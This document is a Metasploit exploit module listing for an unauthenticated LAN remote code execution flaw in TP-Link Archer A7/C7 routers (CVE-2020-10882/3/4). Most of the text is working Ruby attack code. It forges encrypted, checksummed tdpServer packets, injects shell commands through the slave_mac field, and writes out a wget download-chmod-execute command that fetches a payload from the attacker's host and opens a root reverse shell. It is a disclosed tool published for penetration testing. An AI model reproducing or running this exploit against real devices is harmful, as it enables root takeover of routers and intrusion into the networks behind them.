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TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution

TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution
Posted Apr 15, 2020
Authored by Pedro Ribeiro, Radek Domanski | Site metasploit.com

This Metasploit module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726. The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command as root, including downloading and executing a binary from another host. This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team.

tags | exploit, root
advisories | CVE-2020-10882, CVE-2020-10883, CVE-2020-10884
MD5 | e92df66f65cf2445fb8664db83303e49

TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution',
'Description' => %q{
This module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on
the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726.
The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does
not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command
as root, including downloading and executing a binary from another host.
This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +
Radek Domanski).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo'],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/lao_bomb/lao_bomb.md'],
[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2019/lao_bomb.md'],
[ 'CVE', '2020-10882'],
[ 'CVE', '2020-10883'],
[ 'CVE', '2020-10884'],
[ 'ZDI', '20-334'],
[ 'ZDI', '20-335'],
[ 'ZDI', '20-336' ]
],
'Privileged' => true,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'Payload' => {},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp',
'WfsDelay' => 15,
},
'Targets' =>
[
[ 'TP-Link Archer A7/C7 (AC1750) v5 (firmware 190726)',{} ]
],
'DisclosureDate' => "Mar 25 2020",
'DefaultTarget' => 0,
)
)
register_options(
[
Opt::RPORT(20002)
])

register_advanced_options(
[
OptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for payload download', 15])
])
end

def check
begin
res = send_request_cgi({
'uri' => '/webpages/app.1564127413977.manifest',
'method' => 'GET',
'rport' => 80
})

if res && res.code == 200
return Exploit::CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
pass
end
return Exploit::CheckCode::Unknown
end

def calc_checksum(packet)
# reference table used to calculate the packet checksum
# used by tdpd_pkt_calc_checksum (0x4037f0)
# located at offset 0x0416e90 in the binary
reference_tbl = [0x00, 0x00, 0x00, 0x00, 0x77, 0x07, 0x30, 0x96, 0xee,
0x0e, 0x61, 0x2c, 0x99, 0x09, 0x51, 0xba, 0x07, 0x6d, 0xc4, 0x19, 0x70, 0x6a, 0xf4,
0x8f, 0xe9, 0x63, 0xa5, 0x35, 0x9e, 0x64, 0x95, 0xa3, 0x0e, 0xdb, 0x88, 0x32, 0x79,
0xdc, 0xb8, 0xa4, 0xe0, 0xd5, 0xe9, 0x1e, 0x97, 0xd2, 0xd9, 0x88, 0x09, 0xb6, 0x4c,
0x2b, 0x7e, 0xb1, 0x7c, 0xbd, 0xe7, 0xb8, 0x2d, 0x07, 0x90, 0xbf, 0x1d, 0x91, 0x1d,
0xb7, 0x10, 0x64, 0x6a, 0xb0, 0x20, 0xf2, 0xf3, 0xb9, 0x71, 0x48, 0x84, 0xbe, 0x41,
0xde, 0x1a, 0xda, 0xd4, 0x7d, 0x6d, 0xdd, 0xe4, 0xeb, 0xf4, 0xd4, 0xb5, 0x51, 0x83,
0xd3, 0x85, 0xc7, 0x13, 0x6c, 0x98, 0x56, 0x64, 0x6b, 0xa8, 0xc0, 0xfd, 0x62, 0xf9,
0x7a, 0x8a, 0x65, 0xc9, 0xec, 0x14, 0x01, 0x5c, 0x4f, 0x63, 0x06, 0x6c, 0xd9, 0xfa,
0x0f, 0x3d, 0x63, 0x8d, 0x08, 0x0d, 0xf5, 0x3b, 0x6e, 0x20, 0xc8, 0x4c, 0x69, 0x10,
0x5e, 0xd5, 0x60, 0x41, 0xe4, 0xa2, 0x67, 0x71, 0x72, 0x3c, 0x03, 0xe4, 0xd1, 0x4b,
0x04, 0xd4, 0x47, 0xd2, 0x0d, 0x85, 0xfd, 0xa5, 0x0a, 0xb5, 0x6b, 0x35, 0xb5, 0xa8,
0xfa, 0x42, 0xb2, 0x98, 0x6c, 0xdb, 0xbb, 0xc9, 0xd6, 0xac, 0xbc, 0xf9, 0x40, 0x32,
0xd8, 0x6c, 0xe3, 0x45, 0xdf, 0x5c, 0x75, 0xdc, 0xd6, 0x0d, 0xcf, 0xab, 0xd1, 0x3d,
0x59, 0x26, 0xd9, 0x30, 0xac, 0x51, 0xde, 0x00, 0x3a, 0xc8, 0xd7, 0x51, 0x80, 0xbf,
0xd0, 0x61, 0x16, 0x21, 0xb4, 0xf4, 0xb5, 0x56, 0xb3, 0xc4, 0x23, 0xcf, 0xba, 0x95,
0x99, 0xb8, 0xbd, 0xa5, 0x0f, 0x28, 0x02, 0xb8, 0x9e, 0x5f, 0x05, 0x88, 0x08, 0xc6,
0x0c, 0xd9, 0xb2, 0xb1, 0x0b, 0xe9, 0x24, 0x2f, 0x6f, 0x7c, 0x87, 0x58, 0x68, 0x4c,
0x11, 0xc1, 0x61, 0x1d, 0xab, 0xb6, 0x66, 0x2d, 0x3d, 0x76, 0xdc, 0x41, 0x90, 0x01,
0xdb, 0x71, 0x06, 0x98, 0xd2, 0x20, 0xbc, 0xef, 0xd5, 0x10, 0x2a, 0x71, 0xb1, 0x85,
0x89, 0x06, 0xb6, 0xb5, 0x1f, 0x9f, 0xbf, 0xe4, 0xa5, 0xe8, 0xb8, 0xd4, 0x33, 0x78,
0x07, 0xc9, 0xa2, 0x0f, 0x00, 0xf9, 0x34, 0x96, 0x09, 0xa8, 0x8e, 0xe1, 0x0e, 0x98,
0x18, 0x7f, 0x6a, 0x0d, 0xbb, 0x08, 0x6d, 0x3d, 0x2d, 0x91, 0x64, 0x6c, 0x97, 0xe6,
0x63, 0x5c, 0x01, 0x6b, 0x6b, 0x51, 0xf4, 0x1c, 0x6c, 0x61, 0x62, 0x85, 0x65, 0x30,
0xd8, 0xf2, 0x62, 0x00, 0x4e, 0x6c, 0x06, 0x95, 0xed, 0x1b, 0x01, 0xa5, 0x7b, 0x82,
0x08, 0xf4, 0xc1, 0xf5, 0x0f, 0xc4, 0x57, 0x65, 0xb0, 0xd9, 0xc6, 0x12, 0xb7, 0xe9,
0x50, 0x8b, 0xbe, 0xb8, 0xea, 0xfc, 0xb9, 0x88, 0x7c, 0x62, 0xdd, 0x1d, 0xdf, 0x15,
0xda, 0x2d, 0x49, 0x8c, 0xd3, 0x7c, 0xf3, 0xfb, 0xd4, 0x4c, 0x65, 0x4d, 0xb2, 0x61,
0x58, 0x3a, 0xb5, 0x51, 0xce, 0xa3, 0xbc, 0x00, 0x74, 0xd4, 0xbb, 0x30, 0xe2, 0x4a,
0xdf, 0xa5, 0x41, 0x3d, 0xd8, 0x95, 0xd7, 0xa4, 0xd1, 0xc4, 0x6d, 0xd3, 0xd6, 0xf4,
0xfb, 0x43, 0x69, 0xe9, 0x6a, 0x34, 0x6e, 0xd9, 0xfc, 0xad, 0x67, 0x88, 0x46, 0xda,
0x60, 0xb8, 0xd0, 0x44, 0x04, 0x2d, 0x73, 0x33, 0x03, 0x1d, 0xe5, 0xaa, 0x0a, 0x4c,
0x5f, 0xdd, 0x0d, 0x7c, 0xc9, 0x50, 0x05, 0x71, 0x3c, 0x27, 0x02, 0x41, 0xaa, 0xbe,
0x0b, 0x10, 0x10, 0xc9, 0x0c, 0x20, 0x86, 0x57, 0x68, 0xb5, 0x25, 0x20, 0x6f, 0x85,
0xb3, 0xb9, 0x66, 0xd4, 0x09, 0xce, 0x61, 0xe4, 0x9f, 0x5e, 0xde, 0xf9, 0x0e, 0x29,
0xd9, 0xc9, 0x98, 0xb0, 0xd0, 0x98, 0x22, 0xc7, 0xd7, 0xa8, 0xb4, 0x59, 0xb3, 0x3d,
0x17, 0x2e, 0xb4, 0x0d, 0x81, 0xb7, 0xbd, 0x5c, 0x3b, 0xc0, 0xba, 0x6c, 0xad, 0xed,
0xb8, 0x83, 0x20, 0x9a, 0xbf, 0xb3, 0xb6, 0x03, 0xb6, 0xe2, 0x0c, 0x74, 0xb1, 0xd2,
0x9a, 0xea, 0xd5, 0x47, 0x39, 0x9d, 0xd2, 0x77, 0xaf, 0x04, 0xdb, 0x26, 0x15, 0x73,
0xdc, 0x16, 0x83, 0xe3, 0x63, 0x0b, 0x12, 0x94, 0x64, 0x3b, 0x84, 0x0d, 0x6d, 0x6a,
0x3e, 0x7a, 0x6a, 0x5a, 0xa8, 0xe4, 0x0e, 0xcf, 0x0b, 0x93, 0x09, 0xff, 0x9d, 0x0a,
0x00, 0xae, 0x27, 0x7d, 0x07, 0x9e, 0xb1, 0xf0, 0x0f, 0x93, 0x44, 0x87, 0x08, 0xa3,
0xd2, 0x1e, 0x01, 0xf2, 0x68, 0x69, 0x06, 0xc2, 0xfe, 0xf7, 0x62, 0x57, 0x5d, 0x80,
0x65, 0x67, 0xcb, 0x19, 0x6c, 0x36, 0x71, 0x6e, 0x6b, 0x06, 0xe7, 0xfe, 0xd4, 0x1b,
0x76, 0x89, 0xd3, 0x2b, 0xe0, 0x10, 0xda, 0x7a, 0x5a, 0x67, 0xdd, 0x4a, 0xcc, 0xf9,
0xb9, 0xdf, 0x6f, 0x8e, 0xbe, 0xef, 0xf9, 0x17, 0xb7, 0xbe, 0x43, 0x60, 0xb0, 0x8e,
0xd5, 0xd6, 0xd6, 0xa3, 0xe8, 0xa1, 0xd1, 0x93, 0x7e, 0x38, 0xd8, 0xc2, 0xc4, 0x4f,
0xdf, 0xf2, 0x52, 0xd1, 0xbb, 0x67, 0xf1, 0xa6, 0xbc, 0x57, 0x67, 0x3f, 0xb5, 0x06,
0xdd, 0x48, 0xb2, 0x36, 0x4b, 0xd8, 0x0d, 0x2b, 0xda, 0xaf, 0x0a, 0x1b, 0x4c, 0x36,
0x03, 0x4a, 0xf6, 0x41, 0x04, 0x7a, 0x60, 0xdf, 0x60, 0xef, 0xc3, 0xa8, 0x67, 0xdf,
0x55, 0x31, 0x6e, 0x8e, 0xef, 0x46, 0x69, 0xbe, 0x79, 0xcb, 0x61, 0xb3, 0x8c, 0xbc,
0x66, 0x83, 0x1a, 0x25, 0x6f, 0xd2, 0xa0, 0x52, 0x68, 0xe2, 0x36, 0xcc, 0x0c, 0x77,
0x95, 0xbb, 0x0b, 0x47, 0x03, 0x22, 0x02, 0x16, 0xb9, 0x55, 0x05, 0x26, 0x2f, 0xc5,
0xba, 0x3b, 0xbe, 0xb2, 0xbd, 0x0b, 0x28, 0x2b, 0xb4, 0x5a, 0x92, 0x5c, 0xb3, 0x6a,
0x04, 0xc2, 0xd7, 0xff, 0xa7, 0xb5, 0xd0, 0xcf, 0x31, 0x2c, 0xd9, 0x9e, 0x8b, 0x5b,
0xde, 0xae, 0x1d, 0x9b, 0x64, 0xc2, 0xb0, 0xec, 0x63, 0xf2, 0x26, 0x75, 0x6a, 0xa3,
0x9c, 0x02, 0x6d, 0x93, 0x0a, 0x9c, 0x09, 0x06, 0xa9, 0xeb, 0x0e, 0x36, 0x3f, 0x72,
0x07, 0x67, 0x85, 0x05, 0x00, 0x57, 0x13, 0x95, 0xbf, 0x4a, 0x82, 0xe2, 0xb8, 0x7a,
0x14, 0x7b, 0xb1, 0x2b, 0xae, 0x0c, 0xb6, 0x1b, 0x38, 0x92, 0xd2, 0x8e, 0x9b, 0xe5,
0xd5, 0xbe, 0x0d, 0x7c, 0xdc, 0xef, 0xb7, 0x0b, 0xdb, 0xdf, 0x21, 0x86, 0xd3, 0xd2,
0xd4, 0xf1, 0xd4, 0xe2, 0x42, 0x68, 0xdd, 0xb3, 0xf8, 0x1f, 0xda, 0x83, 0x6e, 0x81,
0xbe, 0x16, 0xcd, 0xf6, 0xb9, 0x26, 0x5b, 0x6f, 0xb0, 0x77, 0xe1, 0x18, 0xb7, 0x47,
0x77, 0x88, 0x08, 0x5a, 0xe6, 0xff, 0x0f, 0x6a, 0x70, 0x66, 0x06, 0x3b, 0xca, 0x11,
0x01, 0x0b, 0x5c, 0x8f, 0x65, 0x9e, 0xff, 0xf8, 0x62, 0xae, 0x69, 0x61, 0x6b, 0xff,
0xd3, 0x16, 0x6c, 0xcf, 0x45, 0xa0, 0x0a, 0xe2, 0x78, 0xd7, 0x0d, 0xd2, 0xee, 0x4e,
0x04, 0x83, 0x54, 0x39, 0x03, 0xb3, 0xc2, 0xa7, 0x67, 0x26, 0x61, 0xd0, 0x60, 0x16,
0xf7, 0x49, 0x69, 0x47, 0x4d, 0x3e, 0x6e, 0x77, 0xdb, 0xae, 0xd1, 0x6a, 0x4a, 0xd9,
0xd6, 0x5a, 0xdc, 0x40, 0xdf, 0x0b, 0x66, 0x37, 0xd8, 0x3b, 0xf0, 0xa9, 0xbc, 0xae,
0x53, 0xde, 0xbb, 0x9e, 0xc5, 0x47, 0xb2, 0xcf, 0x7f, 0x30, 0xb5, 0xff, 0xe9, 0xbd,
0xbd, 0xf2, 0x1c, 0xca, 0xba, 0xc2, 0x8a, 0x53, 0xb3, 0x93, 0x30, 0x24, 0xb4, 0xa3,
0xa6, 0xba, 0xd0, 0x36, 0x05, 0xcd, 0xd7, 0x06, 0x93, 0x54, 0xde, 0x57, 0x29, 0x23,
0xd9, 0x67, 0xbf, 0xb3, 0x66, 0x7a, 0x2e, 0xc4, 0x61, 0x4a, 0xb8, 0x5d, 0x68, 0x1b,
0x02, 0x2a, 0x6f, 0x2b, 0x94, 0xb4, 0x0b, 0xbe, 0x37, 0xc3, 0x0c, 0x8e, 0xa1, 0x5a,
0x05, 0xdf, 0x1b, 0x2d, 0x02, 0xef, 0x8d]

res = 0xffffffff

# main checksum calculation
packet.each_entry { |c|
index = ((c ^ res) & 0xff) * 4
# .reverse is needed as the target is big endian
ref = (reference_tbl[index..index+3].reverse.pack('C*').unpack('L').first)
res = ref ^ (res >> 8)
}

checksum = ~res
checksum_s = [(checksum)].pack('I>').force_encoding("ascii")

# convert back to string
packet = packet.pack('C*').force_encoding('ascii')

# and replace the checksum
packet[12] = checksum_s[0]
packet[13] = checksum_s[1]
packet[14] = checksum_s[2]
packet[15] = checksum_s[3]

packet
end

def aes_encrypt(plaintext)
# Function encrypts perfectly 16 bytes aligned payload

if (plaintext.length % 16 != 0)
return
end

cipher = OpenSSL::Cipher.new 'AES-128-CBC'
# in the original C code the key and IV are 256 bits long... but they still use AES-128
iv = "1234567890abcdef"
key = "TPONEMESH_Kf!xn?"
encrypted = ''
cipher.encrypt
cipher.iv = iv
cipher.key = key

# Take each 16 bytes block and encrypt it
plaintext.scan(/.{1,16}/) { |block|
encrypted += cipher.update(block)
}

encrypted
end

def create_injection(c)
# Template for the command injection
# The injection happens at "slave_mac" (read advisory for details)
# The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions.

# This will fail if we send a command with single quotes (')
# ... but that's not a problem for this module, since we don't use them for our command.
# It might also fail with double quotes (") since this will break the JSON...
inject = "\';printf \'#{c}\'>>#{@cmd_file}\'"

template = "{\"method\":\"slave_key_offer\",\"data\":{"\
"\"group_id\":\"#{rand_text_numeric(1..3)}\","\
"\"ip\":\"#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}\","\
"\"slave_mac\":\"%{INJECTION}\","\
"\"slave_private_account\":\"#{rand_text_alpha(5..13)}\","\
"\"slave_private_password\":\"#{rand_text_alpha(5..13)}\","\
"\"want_to_join\":false,"\
"\"model\":\"#{rand_text_alpha(5..13)}\","\
"\"product_type\":\"#{rand_text_alpha(5..13)}\","\
"\"operation_mode\":\"A%{PADDING}\"}}"

# This is required to calculate exact template length without replace flags
template_len = template.length - '%{INJECTION}'.length - '%{PADDING}'.length
# This has to be initialized to cover the situation when no padding is needed
pad = ''
padding = rand_text_alpha(16)

template_len += inject.length

# Calculate pad if padding is needed
if (template_len % 16 != 0)
pad = padding[0..15-(template_len % 16)]
end

# Here the final payload is created
template % {INJECTION:"#{inject}", PADDING:"#{pad}"}
end

def update_len_field(packet, payload_length)
new_packet = packet[0..3]
new_packet += [payload_length].pack("S>")
new_packet += packet[6..-1]
end

def exec_cmd_file(packet)
# This function handles special action of exec
# Returns new complete tpdp packet
inject = "\';sh #{@cmd_file}\'"
payload = create_injection(inject)

ciphertext = aes_encrypt(payload)
if not ciphertext
fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")
end

new_packet = packet[0..15]
new_packet += ciphertext
new_packet = update_len_field(new_packet, ciphertext.length)

calc_checksum(new_packet.bytes)
end

# Handle incoming requests from the router
def on_request_uri(cli, request)
print_good("#{peer} - Sending executable to the router")
print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
send_response(cli, @payload_exe)
@payload_sent = true
end

def exploit
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST")
end

if datastore['SSL']
fail_with(Failure::Unknown, "SSL is not supported on this target, please disable it")
end

print_status("Attempting to exploit #{target.name}")

tpdp_packet_template =
[0x01].pack('C*') + # packet version, fixed to 1
[0xf0].pack('C*') + # set packet type to 0xf0 (onemesh)
[0x07].pack('S>*') + # onemesh opcode, used by the onemesh_main switch table
[0x00].pack('S>*') + # packet len
[0x01].pack('C*') + # some flag, has to be 1 to enter the vulnerable onemesh function
[0x00].pack('C*') + # dunno what this is
[rand(0xff),rand(0xff),rand(0xff),rand(0xff)].pack('C*') + # serial number, can by any value
[0x5A,0x6B,0x7C,0x8D].pack('C*') # Checksum placeholder

srv_host = datastore['SRVHOST']
srv_port = datastore['SRVPORT']
@cmd_file = rand_text_alpha_lower(1)

# generate our payload executable
@payload_exe = generate_payload_exe

# Command that will download @payload_exe and execute it
download_cmd = "wget http://#{srv_host}:#{srv_port}/#{@cmd_file};chmod +x #{@cmd_file};./#{@cmd_file}"

http_service = 'http://' + srv_host + ':' + srv_port.to_s
print_status("Starting up our web service on #{http_service} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => "/#{@cmd_file}"
}})

print_status("#{peer} - Connecting to the target")
connect_udp

print_status("#{peer} - Sending command file byte by byte")
print_status("#{peer} - Command: #{download_cmd}")
mod = download_cmd.length / 5

download_cmd.each_char.with_index { |c, index|
# Generate payload
payload = create_injection(c)
if not payload
fail_with(Failure::Unknown, "#{peer} - Failed to setup download command!")
end

# Encrypt payload
ciphertext = aes_encrypt(payload)
if not ciphertext
fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")
end

tpdp_packet = tpdp_packet_template.dup
tpdp_packet += ciphertext
tpdp_packet = update_len_field(tpdp_packet, ciphertext.length)
tpdp_packet = calc_checksum(tpdp_packet.bytes)

udp_sock.put(tpdp_packet)

# Sleep to make sure the payload is processed by a target
Rex.sleep(1)

# Print progress
if ((index+1) % mod == 0)
percentage = 20 * ((index+1) / mod)
# very advanced mathemathics in use here to show the progress bar
print_status("#{peer} - [0%]=#{' =' * ((percentage*2/10-1)-1)}>#{' -'*(20-(percentage*2/10))}[100%]")
if percentage == 100
# a bit of cheating to get the last char done right
index = -2
end
#print_status("#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}")
end
}

# Send the exec command. From here we should receive the connection
print_status("#{peer} - Command file sent, attempting to execute...")
tpdp_packet = exec_cmd_file(tpdp_packet_template.dup)
udp_sock.put(tpdp_packet)

timeout = 0
while not @payload_sent
Rex.sleep(1)
timeout += 1
if timeout == datastore['MAX_WAIT'].to_i
fail_with(Failure::Unknown, "#{peer} - Timeout reached! Payload was not downloaded :(")
end
end

disconnect_udp
end
end
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